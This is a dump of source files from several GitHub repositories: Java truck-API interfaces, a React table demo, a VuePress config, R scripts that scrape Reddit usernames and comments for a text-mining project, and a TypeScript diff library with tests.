public Driver getDriverById(String driverId);
public DriverResponse addDriver(DriverRequest driverRequest);
public DriverResponse updateDriver(String driverId,DriverRequest driverRequest);
public DriverResponse deleteDriver(String driverId);
public List<Driver> getAllDrivers(String transporterId, String phoneNum, String truckId,Integer pageNo);
}
<file_sep>/src/main/java/com/truckdriver/truck/service/TruckService.java
package com.truckdriver.truck.service;
import java.util.List;
import com.truckdriver.truck.Model.TruckCreateResponse;
import com.truckdriver.truck.Model.TruckDeleteResponse;
import com.truckdriver.truck.Model.TruckRequest;
import com.truckdriver.truck.Model.TruckUpdateRequest;
import com.truckdriver.truck.Model.TruckUpdateResponse;
import sharedEntity.TruckData;
public interface TruckService {
public TruckCreateResponse addData(TruckRequest truckRequest);
public TruckUpdateResponse updateData(String id, TruckUpdateRequest truckUpdateRequest);
public TruckDeleteResponse deleteData(String id);
public TruckData getDataById(String Id);
public List<TruckData> getTruckDataPagableService(Integer pageNo, String transporterId, Boolean truckApproved,
String truckId);
}
<file_sep>/src/main/java/com/truckdriver/buyGPS/Service/BuyGPSService.java
package com.truckdriver.buyGPS.Service;
import java.util.List;
import sharedEntity.BuyGPS;
import com.truckdriver.buyGPS.Model.BuyGPSPostRequest;
import com.truckdriver.buyGPS.Model.BuyGPSPutRequest;
import com.truckdriver.buyGPS.Response.CreateBuyGPSResponse;
import com.truckdriver.buyGPS.Response.DeleteBuyGPSResponse;
import com.truckdriver.buyGPS.Response.UpdateBuyGPSResponse;
public interface BuyGPSService
{
public CreateBuyGPSResponse addBuyGPS (BuyGPSPostRequest buygpsrequest);
public BuyGPS getBuyGPS (String gpsId);
public List<BuyGPS> getBuyGPS (String truckId, String transporterId, String purchaseDate,
Boolean installedStatus);
public UpdateBuyGPSResponse updateBuyGPS (String gpsId, BuyGPSPutRequest buygpsrequest);
public DeleteBuyGPSResponse DeleteBuyGPS (String gpsId);
}
| 277ce49a619d14cc31f29997bbf92b1715f3d343 | [
"Java"
] | 5 | Java | chirag4601/truckApi | 3ad0f1f51c7237690fa2bca26989cd40f35d6a55 | 49104de131c621607f5a8a352fbc6538366a55ec |
refs/heads/main | <file_sep>
import './Components/UsersTable.js';
import {useRef} from 'react';
import { Col, Row } from 'reactstrap';
import UsersTable from './Components/UsersTable.js';
function App() {
const scollToRef = useRef();
return (
<>
<nav className="navbar navbar-expand-lg navbar-dark navbar-custom fixed-top">
<div className="container px-5">
<a className="navbar-brand" href="#page-top">Nemesis Consultants LLP Assessment</a>
<button className="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"><span className="navbar-toggler-icon"></span></button>
<div className="collapse navbar-collapse" id="navbarResponsive">
</div>
</div>
</nav>
<header className="masthead text-center text-white">
<div className="masthead-content">
<div className="container px-5">
<h1 className="masthead-heading mb-0">Data Manipulation</h1>
<h2 style={{fontSize:'30px'}} className="masthead-subheading mb-0">using ReactJs Material Table with axion for data fetching</h2>
<a className="btn btn-primary btn-xl rounded-pill mt-5" href="#scroll" onClick={() => scollToRef.current.scrollIntoView()}>Learn More</a>
</div>
</div>
<div className="bg-circle-1 bg-circle"></div>
<div className="bg-circle-2 bg-circle"></div>
<div className="bg-circle-3 bg-circle"></div>
<div className="bg-circle-4 bg-circle"></div>
</header>
<div ref={scollToRef}>
<UsersTable/>
</div>
<footer className="py-5 bg-black">
<div style={{paddingLeft:'0%'}}><p className="m-0 text-center text-white small">Developed by <NAME></p></div>
<Row>
<Col>
<a href="https://github.com/codArtist" target="_blank" >
<h2 style={{paddingLeft:'20%',paddingTop:'30px'}}>Github</h2>
</a>
</Col>
<Col>
<a href="https://www.linkedin.com/in/harsh-jain2001/" target="_blank" >
<h2 style={{paddingLeft:'25%',paddingTop:'30px'}}>LinkedIn</h2>
</a>
</Col>
<Col>
<a href="https://www.instagram.com/harshabcd9/" target="_blank" >
<h2 style={{paddingLeft:'30%',paddingTop:'30px'}}>Instagram</h2>
</a>
</Col>
</Row>
</footer>
</>
);
}
export default App;
<file_sep>import React from 'react'
import MaterialTable from 'material-table';
import {useEffect,useState} from 'react';
import axios from 'axios';
import { AddBox, ArrowDownward } from "@material-ui/icons";
import { forwardRef } from 'react';
import Check from '@material-ui/icons/Check';
import ChevronLeft from '@material-ui/icons/ChevronLeft';
import ChevronRight from '@material-ui/icons/ChevronRight';
import Clear from '@material-ui/icons/Clear';
import DeleteOutline from '@material-ui/icons/DeleteOutline';
import Edit from '@material-ui/icons/Edit';
import FilterList from '@material-ui/icons/FilterList';
import FirstPage from '@material-ui/icons/FirstPage';
import LastPage from '@material-ui/icons/LastPage';
import Remove from '@material-ui/icons/Remove';
import SaveAlt from '@material-ui/icons/SaveAlt';
import Search from '@material-ui/icons/Search';
import ViewColumn from '@material-ui/icons/ViewColumn';
const tableIcons = {
Add: forwardRef((props, ref) => <AddBox {...props} ref={ref} />),
Check: forwardRef((props, ref) => <Check {...props} ref={ref} />),
Clear: forwardRef((props, ref) => <Clear {...props} ref={ref} />),
Delete: forwardRef((props, ref) => <DeleteOutline {...props} ref={ref} />),
DetailPanel: forwardRef((props, ref) => <ChevronRight {...props} ref={ref} />),
Edit: forwardRef((props, ref) => <Edit {...props} ref={ref} />),
Export: forwardRef((props, ref) => <SaveAlt {...props} ref={ref} />),
Filter: forwardRef((props, ref) => <FilterList {...props} ref={ref} />),
FirstPage: forwardRef((props, ref) => <FirstPage {...props} ref={ref} />),
LastPage: forwardRef((props, ref) => <LastPage {...props} ref={ref} />),
NextPage: forwardRef((props, ref) => <ChevronRight {...props} ref={ref} />),
PreviousPage: forwardRef((props, ref) => <ChevronLeft {...props} ref={ref} />),
ResetSearch: forwardRef((props, ref) => <Clear {...props} ref={ref} />),
Search: forwardRef((props, ref) => <Search {...props} ref={ref} />),
SortArrow: forwardRef((props, ref) => <ArrowDownward {...props} ref={ref} />),
ThirdStateCheck: forwardRef((props, ref) => <Remove {...props} ref={ref} />),
ViewColumn: forwardRef((props, ref) => <ViewColumn {...props} ref={ref} />)
};
const columns = [
{title: 'id', field: 'id',editable: 'never'},
{title: 'name', field: 'name'},
{title: 'username', field: 'username'},
{title: 'email', field: 'email'},
{title: 'address', field: 'address'},
{title: 'phone', field: 'phone'},
{title: 'website', field: 'website'},
{title: 'company', field: 'company'},
];
function UsersTable() {
const [user_data,setuser_data]=useState([]);
useEffect(() => {
async function fetchusers (){
const response =
await axios.get("https://jsonplaceholder.typicode.com/users")
console.log(response.data);
var newArr = response.data.map(function(val) {
return {
id: val.id,
name: val.name,
username: val.username,
email: val.email,
address: val.address.street + ' ' + val.address.suite + ' ' + val.address.city + ' ' + val.address.zipcode ,
phone: val.phone,
website: val.website,
company: val.company.name + ' ' +val.company.catchPhrase + ' ' + val.company.bs,
};
});
console.log('newarr');
// Onewarr
console.log(newArr[0]['name']);
setuser_data(newArr);
console.log(user_data);
};
fetchusers();
}, [])
return (
<div>
{user_data.length>0?
<MaterialTable columns={columns} data={user_data} title='Users Data'
icons={tableIcons}
editable={{
onRowAddCancelled: rowData => console.log('Row adding cancelled'),
onRowUpdateCancelled: rowData => console.log('Row editing cancelled'),
onRowAdd: newData =>
new Promise((resolve, reject) => {
setTimeout(() => {
setuser_data([...user_data, newData]);
resolve();
}, 1000);
}),
onRowUpdate: (newData, oldData) =>
new Promise((resolve, reject) => {
setTimeout(() => {
const dataUpdate = [...user_data];
const index = oldData.tableData.id;
dataUpdate[index] = newData;
console.log(oldData.tableData.name)
console.log("hellolnkhkh");
console.log(dataUpdate)
console.log(index)
setuser_data(dataUpdate);
// console.log(user_data)
resolve();
}, 1000);
}),
onRowDelete: oldData =>
new Promise((resolve, reject) => {
setTimeout(() => {
const dataDelete = [...user_data];
const index = oldData.tableData.id;
dataDelete.splice(index, 1);
setuser_data(dataDelete);
resolve();
}, 1000);
})
}}
/>:
<div></div>}
</div>
)
}
export default UsersTable
| ae5f196051199d9c9d46f333103848ba2bde99ab | [
"JavaScript"
] | 2 | JavaScript | CodArtist/DataManipulationReact | f212e79b8185404f4cfbdddb7e4442f6e3ff93f5 | 575d2866c5b5e795919bbd3b7ce5a5328b1af668 |
refs/heads/main | <file_sep>module.exports = {
title: '', // 设置网站标题
description: 'study FE',
base: '/',
markdown: {
lineNumbers: true
},
themeConfig: {
sidebar: 'auto',
lastUpdated: 'Last Updated',
smoothScroll: true,
logo: '/assets/img/logo.jpeg',
displayAllHeaders: true,
nav: [{
text: '前端开发学习',
link: '/learning/'
},
{
text: '前端开发工具',
link: '/tools/'
},
{
text: '附录:错误码',
link: '/error'
}
],
sidebar: [{
title: '学习', // 必要的
path: '/learning/', // 可选的, 标题的跳转链接,应为绝对路径且必须存在
children: [
'/learning/',
'/learning/internet'
]
},
{
title: '工具',
path: '/tools/',
children: [
'/tools/'
]
},
{
title: 'error', // 必要的
link: '/error'
},
],
}
} | 36ccb9e8d2b03092aa0b78e7d5bba806e94f0640 | [
"JavaScript"
] | 1 | JavaScript | xuyanghong/vuepress-study | fe8162dacc14f716d61addf44b9ff51252476c21 | d571bce4b358639673b9bb17db713f6595bf013c |
refs/heads/master | <repo_name>wjburton/reddit<file_sep>/userInfo.R
#Scrape data for tables using usernames
library(rvest)
library(RSelenium)
system("java -jar selenium-server-standalone-2.44.0.jar")
checkForServer()
startServer()
driver <- remoteDriver(browserName = 'firefox')
driver <- remoteDriver() # instantiate remote driver to connect to Selenium Server
driver$open() # open web browser
# running firefox browser
#navigate to reddit
driver$navigate('https://www.reddit.com/')
#read in username csv
names <- read.csv("names.1.8250.csv")
names <- as.character(names[,1])
#define empty table
cmmnt_tbl <- data.frame(usrnme = NULL, subrddt = NULL, pst.ttle = NULL, pst.athr = NULL,
date = NULL, othr.cmmts = NULL, scrp.date = NULL)
#generate the table by looping through reddit webpages
for(i in 1:length(names)){
url <- paste("https://www.reddit.com/user/", names[i],"/comments/", sep = "")
read_html(url) %>%
html_nodes(".title") %>%
html_text() -> add.titles
read_html(url) %>%
html_nodes(".author") %>%
html_text() -> add.authors
read_html(url) %>%
html_nodes("a.bylink.may-blank")%>%
html_attr('href') -> date.urls
read_html(url) %>%
html_nodes("a.bylink.may-blank")%>%
html_text() -> add.num.other.comments
for(i in 1:length(follow)){
read_html(date.urls)%>%
html_node("#time")%>%
html_text()-> add.date
add.dates <- c(add.dates,add.date)
}
}<file_sep>/scrape.R
#Reddit Scraping
#load in necessary libraries
library(rvest)
library(RSelenium)
#set up browser
system("java -jar selenium-server-standalone-2.44.0.jar")
checkForServer()
startServer()
driver <- remoteDriver(browserName = 'firefox')
driver <- remoteDriver() # instantiate remote driver to connect to Selenium Server
driver$open() # open web browser
# running firefox browser
#navigate to reddit
driver$navigate('https://www.reddit.com/')
#create empty variable
starting.points <- NULL
#loop through pages and extract url's 3000 is arbitrary
#these urls contain comments on the top ~36,000 posts on reddit
#I want to use these urls to extrace usernames of accounts
#Once we have the usernames we can extraxt data for each user
for(i in 1:3000) {
url<-as.character(driver$getCurrentUrl())
read_html(url) %>%
html_nodes('.bylink.comments.may-blank') %>%
html_attr('href') -> add
starting.points <- c(starting.points,add)
next.button <- driver$findElement(using = 'css selector', ".nextprev > a:nth-child(3)")
next.button$clickElement()
}
#starting.points then saved as url.list
#read in url.list
url_list <- read.csv("url.list.csv")
names(url_list)<- c("rank","url")
#reate empty variables
names <- NULL
add <- NULL
#loop through comment urls and extract usernames
for(i in 8251:nrow(url_list)){
driver$navigate(url_list$url[i])
url<-as.character(driver$getCurrentUrl())
read_html(url) %>%
html_nodes('.author') %>%
html_text()-> add
print(i)
names <- c(names,add)
}
#5890
write.csv(names, file = 'reddit_names.csv', row.names = F)
<file_sep>/README.md
# Reddit Exploration Project
##Objectives:
1. Practice scraping websites
2. Learn about text mining
3. Learn about network analysis
##Tools Needed: R [R packages RSelenium, and rvest]
##Data extraction plan:
1. scrape urls to comment sections on reddit
2. follow the scraped urls and scrape usernames of reddit users
3. go to each users profile and pull necessary information
4. Pull the following data:
a) All comments made by the user
b) The title of the item the person commented on
c) the number of other comments other users made on the same item
b) the subreddit the item was posted under
c) link karma
d) comment karma
e) trophies
f) points attained for the comment/post
g) date posted
h) all posts made
i) upvotes/downvotes each post recieved
###Text mining ideas
1. What emotions can you determine from a users posts?
2. Is there a distinguishable distribution of emotions in a user?
3. If the above is true, can you categorize people into similar groups?
4. What is the general tendancy of reddit comments? are people negative/happy/sad... what is the distribution across reddit as a whole?
5. Can you infer traits about a person by their comments? age, education level, gender
More to come
### Network analysis ideas
1. How interconnected are the people that use reddit?
2. Overlay emotions onto network graph.. is there a contagion effect of negative comments?
More to come
| f219c6fd2905c0b426acf2ca95c1cbf08d2ff9d0 | [
"Markdown",
"R"
] | 3 | R | wjburton/reddit | ab45a80d20aef8d04260b67820162e0d729c0d50 | e06c682433832dede4e818c3ac802b9faaf1b479 |
refs/heads/master | <repo_name>Zalastax/tsdiff<file_sep>/lib/array.d.ts
export declare type Key<T> = keyof T;
export declare type KeysToTrue<T> = {
[P in Key<T>]: true;
};
export declare type Mapping<T, S> = {
[P in Key<T>]: S;
};
export declare function arrayToMap<T>(array: Key<T>[]): KeysToTrue<T>;
export declare function arrayToMap(array: string[]): {
[key: string]: true;
};
<file_sep>/tests/index.ts
import diff, { equal, similar, ChangeSet, ChangeRm, ChangeAdd, diffSeq, ArrayChange, Change, ChangeType } from "../src"
import lcs_greedy, { LcsOpsTypes } from "../src/greedy_lcs"
import { AsyncTest, Expect, Test, TestCase, TestFixture, FocusTest } from "alsatian"
import { Range, Seq, Map as IMap, Record } from "immutable"
const odiff = Object.assign(function(a: any, b: any) {
return diff(a, b)
}, {
equal,
similar,
})
function expectDiff(from: any, to: any, expected: ArrayChange<any>[]) {
const diffs = odiff(from, to)
Expect(diffs).toEqual(expected)
}
@TestFixture()
export class Tests {
@Test()
@TestCase(Seq([0, 1, 2, 3]), Seq([0, 1, 3, 4]))
@TestCase(Range(0, 100), Range(30, 70).toList().concat(Range(80, 90)).toSeq())
@TestCase(Range(0, 20).toList().concat(Range(40, 60), Range(80, 100)).toSeq(), Range(10, 90))
@TestCase(Range(0, 300), Range(0, 300).toList().shift().delete(40).set(40, -100).delete(40).push(0).toSeq())
"lcs_greedy correct splices"(a: Seq.Indexed<any>, b: Seq.Indexed<any>) {
const splices = (lcs_greedy(a, b))
let v = a
splices.forEach(op => {
if (op.type === LcsOpsTypes.SPLICE) {
v = v.splice(op.index, op.remove, ...op.add)
} else {
v = v.splice(op.index, 1, op.to)
}
})
Expect(v.equals(b)).toBeTruthy()
}
@Test()
"simple value test"() {
expectDiff(1, 2, [{
type: ChangeType.SET,
path: [],
val: 2,
}])
}
@Test()
"simple value test - strong equality"() {
expectDiff("", 0, [{
type: ChangeType.SET,
path: [],
val: 0,
}])
}
@Test()
"NaN test"() {
expectDiff({ x: NaN }, { x: NaN }, [])
}
@Test()
"simple object diff"() {
expectDiff(
{ a: 1, b: 2, c: 3 },
{ a: 1, b: 2, u: 3 },
[
{
type: ChangeType.REMOVE,
path: ["c"],
num: 1,
},
{
type: ChangeType.ADD,
path: ["u"],
vals: [3],
},
],
)
}
@Test()
"simple array diff - rm"() {
const a = [1, 2, 3]
const b: any[] = []
const diffs = odiff(a, b)
Expect(diffs.length).toEqual(1)
const d = diffs[0] as ChangeRm
Expect(d.type).toEqual("rm")
Expect(d.path.length).toEqual(1)
Expect(d.path[0]).toEqual(0)
Expect(d.num).toEqual(3)
}
@Test()
"simple array diff - add"() {
const a: any[] = []
const b = [1, 2, 3]
const diffs = odiff(a, b)
Expect(diffs.length).toEqual(1)
const d = diffs[0] as ChangeAdd<any>
Expect(d.type).toEqual("add")
Expect(d.path.length).toEqual(1)
Expect(d.path[0]).toEqual(0)
Expect(odiff.equal(d.vals, [1, 2, 3])).toBeTruthy()
}
@Test()
"simple array diff - change"() {
const a = [1, 2, 3]
const b = [1, 2, 4]
const diffs = odiff(a, b)
Expect(diffs.length).toEqual(1)
const d = diffs[0] as ChangeSet<any>
Expect(d.type).toEqual("set")
Expect(odiff.equal(d.path, [2])).toBeTruthy()
Expect(d.val).toEqual(4)
}
@Test()
"simple array diff - move far"() {
const a = Range(0, 300).toArray()
// moving 0 to the end will cause the greedy algorithm to perform a bad choice
const b = Range(0, 300).toList().shift().push(0).toArray()
expectDiff(a, b, [
{
type: ChangeType.ADD,
path: [0],
vals: Range(1, 300).toArray(),
},
{
type: ChangeType.REMOVE,
path: [300],
num: 299,
},
])
}
@Test()
"array diff - added one, then removed one"() {
const a = [1, 2, 3, 4, 5]
const b = [1, 1.1, 2, 3, 5]
const diffs = odiff(a, b)
Expect(diffs.length).toEqual(2)
const d0 = diffs[0] as ChangeAdd<any>
Expect(d0.type).toEqual("add")
Expect(d0.path.length).toEqual(1)
Expect(d0.path[0]).toEqual(1)
Expect(odiff.equal(d0.vals, [1.1])).toBeTruthy()
const d1 = diffs[1] as ChangeRm
Expect(d1.type).toEqual("rm")
Expect(d1.path.length).toEqual(1)
Expect(d1.path[0]).toEqual(4)
Expect(d1.num).toEqual(1)
}
@Test()
"complex array diff"() {
const v1 = { a: 1, b: 2, c: 3 }
const v2 = { x: 1, y: 2, z: 3 }
const v3 = { w: 9, q: 8, r: 7 }
const v4 = { t: 4, y: 5, u: 6 }
const v5 = { x: 1, y: "3", z: 3 }
const v6 = { t: 9, y: 9, u: 9 }
const a = [v1, v2, v3]
const b = [v1, v4, v5, v6, v3]
const diffs = odiff(a, b)
const expectedDiffs: ArrayChange<any>[] = [
{
type: ChangeType.SET,
path: [1],
val: v4,
},
{
type: ChangeType.ADD,
path: [2],
vals: [v5, v6],
},
]
Expect(diffs).toEqual(expectedDiffs)
}
@Test()
"complex array diff - distinguish set and add"() {
const v1 = { a: 1, b: 2 }
const v2 = { a: 3, b: 4 }
const v3 = { a: 5, b: 6 }
const v4 = { a: 7, b: 8 }
const v5 = { a: 9, b: 8 }
const a = [v1, v2, v3, v4]
const b = [v1, v5, v2, v3, v4]
expectDiff(a, b, [
{
type: ChangeType.ADD,
path: [1],
vals: [v5],
},
])
}
@Test()
"complex array diff - distinguish set and rm"() {
const v1 = { a: 1, b: 2 }
const v2 = { a: 3, b: 4 }
const v3 = { a: 5, b: 6 }
const v4 = { a: 7, b: 8 }
const v5 = { a: 9, b: 8 }
const a = [v1, v5, v2, v3, v4]
const b = [v1, v2, v3, v4]
expectDiff(a, b, [
{
type: ChangeType.REMOVE,
path: [1],
num: 1,
},
])
}
@Test()
"complex array diff - change without id, then add"() {
const v1 = { a: 1, b: 2 }
const v2a = { a: 9, b: 8 }
const v2b = { a: 9, b: "7" }
const v3 = { a: 3, b: 4 }
const v4 = { a: 5, b: 6 }
const v5 = { a: 7, b: 8 }
const v6 = { a: 8, b: 1 }
const a = [v1, v2a, v3, v4, v5]
const b = [v1, v2b, v6, v3, v4, v5]
expectDiff(a, b, [
{
type: ChangeType.SET,
path: [1, "b"],
val: "7",
},
{
type: ChangeType.ADD,
path: [2],
vals: [v6],
},
])
}
@Test()
"complex array diff - change with id, then add"() {
const v1 = { a: 1, b: 2 }
const v2a = { a: 9, b: 8, id: 2 }
const v2b = { a: 9, b: "7", id: 2 }
const v3 = { a: 3, b: 4 }
const v4 = { a: 5, b: 6 }
const v5 = { a: 7, b: 8 }
const v6 = { a: 8, b: 1 }
const a = [v1, v2a, v3, v4, v5]
const b = [v1, v2b, v6, v3, v4, v5]
expectDiff(a, b, [
{
type: ChangeType.SET,
path: [1, "b"],
val: "7",
},
{
type: ChangeType.ADD,
path: [2],
vals: [v6],
},
])
}
@Test()
"complex array diff - change many with id"() {
const v1a = { a: 1, b: 2, id: "id" }
const v1b = { a: 1, b: 3, id: "id" }
const v2a = { a: 9, b: 8, id: 2 }
const v2b = { a: 9, id: 2 }
const v3 = { a: 3, b: 4 }
const v4a = { a: 5, b: 6, id: 89 }
const v4b = { a: 5, b: 6, id: 89 }
const v5a = { a: 7, id: "" }
const v5b = { a: 7, c: 8, id: "" }
const v6 = "id"
const a = [v1a, v2a, v3, v4a, v5a]
const b = [v1b, v2b, v6, v3, v4b, v5b]
expectDiff(a, b, [
{
type: ChangeType.SET,
path: [0, "b"],
val: 3,
},
{
type: ChangeType.REMOVE,
path: [1, "b"],
num: 1,
},
{
type: ChangeType.ADD,
path: [2],
vals: ["id"],
},
{
type: ChangeType.ADD,
path: [5, "c"],
vals: [8],
},
])
}
@Test()
"complex array diff - set nested"() {
const v1a = { a: 9, b: 2 }
const v1b = { a: 9, b: "7" }
const v2a = { a: 3, b: 4 }
const v2b = { a: 4, b: 4 }
const v3 = { a: 5, b: 6 }
const v4 = { a: 7, b: 8 }
const a = [v1a, v2a, v3, v4]
const b = [v1b, v2b, v3, v4]
expectDiff(a, b, [
{
type: ChangeType.SET,
path: [0, "b"],
val: "7",
},
{
type: ChangeType.SET,
path: [1, "a"],
val: 4,
},
])
}
@Test()
"deep diff test"() {
const a = {
x: [1, 2, 3],
y: {
z: [
{ a: 1, b: 2 },
{ c: 3, d: 4 },
],
aa: [
[1, 2, 3],
[5, 6, 7],
],
},
}
const b = {
x: [1, 2, 4],
y: {
z: [
{ a: 1, b: 3 },
{ c: 3, d: 4 },
],
aa: [
[1, 2, 3],
[9, 8],
[5, 6.2, 7],
],
},
}
expectDiff(a, b, [
{
type: ChangeType.SET,
path: ["x", 2],
val: 4,
},
{
type: ChangeType.SET,
path: ["y", "z", 0, "b"],
val: 3,
},
{
type: ChangeType.SET,
path: ["y", "aa", 1],
val: [9, 8],
},
{
type: ChangeType.ADD,
path: ["y", "aa", 2],
vals: [[5, 6.2, 7]],
},
])
}
@Test()
"immutable sequence"() {
const a = Range(30, 60)
const b = Range(50, 70)
expectDiff(a, b, [
{
type: ChangeType.REMOVE,
path: [0],
num: 20,
},
{
type: ChangeType.ADD,
path: [10],
vals: [60, 61, 62, 63, 64, 65, 66, 67, 68, 69],
},
])
}
@Test()
"immutable map"() {
const a = IMap({
x: [1, 2, 3],
y: IMap({
z: [
{ a: 1, b: 2 },
{ c: 3, d: 4 },
],
aa: [
[1, 2, 3],
[5, 6, 7],
],
q: {
g: 8,
},
}),
})
const b = IMap({
x: [1, 2, 4],
y: IMap({
z: [
{ a: 1, b: 3 },
{ c: 3, d: 4 },
],
aa: [
[1, 2, 3],
[9, 8],
[5, 6.2, 7],
],
q: {
g: 8,
},
}),
})
expectDiff(a, b, [
{
type: ChangeType.SET,
path: ["x", 2],
val: 4,
},
{
type: ChangeType.SET,
path: ["y", "z", 0, "b"],
val: 3,
},
{
type: ChangeType.SET,
path: ["y", "aa", 1],
val: [9, 8],
},
{
type: ChangeType.ADD,
path: ["y", "aa", 2],
vals: [[5, 6.2, 7]],
},
])
}
@Test()
"immutable record - change"() {
const abcRecord = Record({ a: 1, b: 2, c: 10 })
const a = new abcRecord({ b: 3, c: 10 })
const b = new abcRecord({ a: 0 })
expectDiff(a, b, [
{
type: ChangeType.SET,
path: ["a"],
val: 0,
},
{
type: ChangeType.SET,
path: ["b"],
val: 2,
}])
}
@Test()
"immutable record - different records"() {
const abcRecord = Record({ a: 1, b: 2, c: 10 })
const abcRecord2 = Record({ a: 2, b: 4, c: 20 })
const a = new abcRecord({ a: 1, b: 2, c: 10 })
const b = new abcRecord2({ a: 1, b: 2, c: 10 })
expectDiff(a, b, [
{
type: ChangeType.SET,
path: [],
val: b,
}])
}
}
@TestFixture()
class Regressions {
@Test()
"missing diff"() {
const a = { b: [1, { x: "y", e: 1 }] }
const b = { b: [1, { x: "z", e: 1 }, 5] }
expectDiff(a, b, [
{
type: ChangeType.ADD,
path: ["b", 2],
vals: [5],
},
{
type: ChangeType.SET,
path: ["b", 1, "x"],
val: "z",
},
])
}
}
<file_sep>/src/index.ts
import { arrayToMap, Key } from "./array"
import lcsGreedy, { LcsOpsTypes } from "./greedy_lcs"
export { default as lcsGreedy, LcsOpsTypes } from "./greedy_lcs"
import { Map as IMap, is, fromJS, Seq, isIndexed, Record, Collection } from "immutable"
export type Path = (string | number)[]
export interface ChangeAdd<T> {
type: ChangeType.ADD
path: Path
vals: T[]
}
export interface ChangeSet<T> {
type: ChangeType.SET
path: Path
val: T
}
export interface ChangeRm {
type: ChangeType.REMOVE
path: Path
num: number
}
export interface ChangeMod<T> {
type: ChangeType.MODIFIED
path: Path
from: T
to: T
}
export type Change<T> = ChangeAdd<T> | ChangeSet<T> | ChangeRm
export type ArrayChange<T> = ChangeAdd<T> | ChangeSet<T> | ChangeRm | ChangeMod<T>
export type RecursiveChange = Change<any>
export const enum ChangeType {
ADD = "add",
SET = "set",
REMOVE = "rm",
MODIFIED = "mod",
}
/*
* Get the changes between `from` and `to`
* Compares recursively in order to get as small modifications as possible
*/
export default function diffRecursive(a: any, b: any, acc: RecursiveChange[] = [], base: (string | number)[] = []) {
const applySeqDiffs = (diffs: ArrayChange<any>[]) => {
diffs.forEach(v => {
if (v.type === ChangeType.MODIFIED) {
diffRecursive(v.from, v.to, acc, v.path)
} else {
const from = a[v.path[v.path.length - 1]]
if (v.type === ChangeType.SET && similar(from, v.val)) {
diffRecursive(from, v.val, acc, v.path)
} else {
acc.push(v)
}
}
})
}
if (a === b || Number.isNaN(a) && Number.isNaN(b)) {
// no-op
} else if (a instanceof Array && b instanceof Array) {
applySeqDiffs(diffArray(a, b, [], base))
} else if (a instanceof Object && b instanceof Object) {
if (isIndexed(a) && isIndexed(b)) {
applySeqDiffs(diffSeq(a, b, [], base))
} else if (IMap.isMap(a) && IMap.isMap(b)) {
const mapDiffs = diffMap<string | number, any>(a, b, [], base)
mapDiffs.forEach(d => {
if (d.type === "set") {
diffRecursive(a.get(lastKey(d)), d.val, acc, d.path)
} else {
acc.push(d)
}
})
} else if (Record.isRecord(a) && Record.isRecord(b)) {
if ((a as any)._keys === (b as any)._keys) {
const recordDiffs = diffRecord<string | number, any>(a, b, [], base)
recordDiffs.forEach(d => {
if (d.type === "set") {
diffRecursive((a as any).get(lastKey(d)), d.val, acc, d.path)
} else {
acc.push(d)
}
})
} else {
set(acc, base, b)
}
} else {
const diffs = diffObject<any, any>(a, b, [], base)
diffs.forEach(d => {
if (d.type === "set") {
diffRecursive(a[lastKey(d)], d.val, acc, d.path)
} else {
acc.push(d)
}
})
}
} else {
set(acc, base, b)
}
return acc
}
type ObjectZip<K, V> = [K, V | undefined, V | undefined]
function zipObjects<T, K extends keyof T>(
a: T, b: T): ObjectZip<K, T[K]>[] {
const keyMap = Object.assign(
arrayToMap<T>(Object.keys(a) as K[]),
arrayToMap<T>(Object.keys(b) as K[]))
const acc: ObjectZip<K, T[K]>[] = []
for (const key in keyMap) {
// tslint:disable:forin
acc.push([key as K, a[key], b[key]])
// tslint:enable:forin
}
return acc
}
function zipMaps<K, V>(
a: IMap<K, V>, b: IMap<K, V>): ObjectZip<K, V>[] {
const keys = a.keySeq().toSet().union(b.keySeq().toArray()).values()
const acc: ObjectZip<K, V>[] = []
let temp = keys.next()
while (!temp.done) {
const key = temp.value
acc.push([key, a.get(key), b.get(key)])
temp = keys.next()
}
return acc
}
function zipRecords<T>(a: Record.Instance<T>, b: Record.Instance<T>): ObjectZip<any, any>[]
function zipRecords(a: any, b: any): ObjectZip<any, any>[] {
const keys = a._keys
const acc: ObjectZip<any, any>[] = []
for (const key of keys) {
acc.push([key, a.get(key), b.get(key)])
}
return acc
}
export function objectDifferHOF<T, K, V>(
zipper: (a: T, b: T) => [K, V | undefined, V | undefined][],
has: (obj: T, key: K) => boolean,
) {
return (a: T, b: T, acc: Change<V>[] = [], base: any[] = []): Change<V>[] => {
for (const zip of zipper(a, b)) {
const [key, aValue, bValue] = zip
if (!equal(aValue, bValue)) {
const path = base.concat(key)
if (!has(a, key)) {
add(acc, path, [bValue])
} else if (!has(b, key)) {
rm(acc, path, 1)
} else {
set(acc, path, bValue)
}
}
}
return acc
}
}
interface Hasable<K> {
has: (key: K) => boolean
}
function freeHas<K>(obj: Hasable<K>, key: K) {
return obj.has(key)
}
function freeObjectGet<T>(obj: T, key: keyof T) {
return obj[key]
}
export const diffMap: <K, V>(a: IMap<K, V>, b: IMap<K, V>, acc?: Change<V>[], base?: K[]) => Change<V>[]
= objectDifferHOF(zipMaps, freeHas)
export const diffRecord: <T, K extends keyof T>(
a: Record.Instance<T>,
b: Record.Instance<T>,
acc?: Change<T[K]>[], base?: K[]) => Change<T[K]>[]
= objectDifferHOF(zipRecords, freeHas)
export const diffObject: <T, K extends keyof T>(a: T, b: T, acc?: Change<T[K]>[], base?: K[]) => Change<T[K]>[]
= objectDifferHOF(zipObjects, freeObjectGet)
export function diffArray<V>(a: V[], b: V[], acc: ArrayChange<V>[] = [], base: (string | number)[] = []) {
return diffSeq(Seq.Indexed(a), Seq.Indexed(b), acc, base)
}
export function diffSeq<T, C extends Collection.Indexed<T>>(
a: C, b: C, acc: ArrayChange<T>[] = [], base: (string | number)[] = []) {
const lcsOps = lcsGreedy(a, b)
lcsOps.forEach(op => {
if (op.type === LcsOpsTypes.SPLICE) {
let i = 0
while (i < op.remove && i < op.add.length) {
set(acc, base.concat(op.index + i), op.add[i])
i++
}
if (i < op.remove) {
rm(acc, base.concat(op.index + i), op.remove - i)
} else if (i < op.add.length) {
add(acc, base.concat(op.index + i), op.add.slice(i))
}
} else {
modify(acc, base.concat(op.index), op.from, op.to)
}
})
return acc
}
// adds an 'set' type to the changeList
function set<T>(changeList: ArrayChange<T>[], path: Path, value: T): void
function set<T>(changeList: Change<T>[], path: Path, value: T) {
changeList.push({
type: ChangeType.SET,
path,
val: value,
})
}
// adds an 'rm' type to the changeList
function rm<T>(changeList: ArrayChange<T>[] | Change<T>[], path: Path, count: number): void
function rm<T>(changeList: Change<T>[], path: Path, count: number) {
changeList.push({
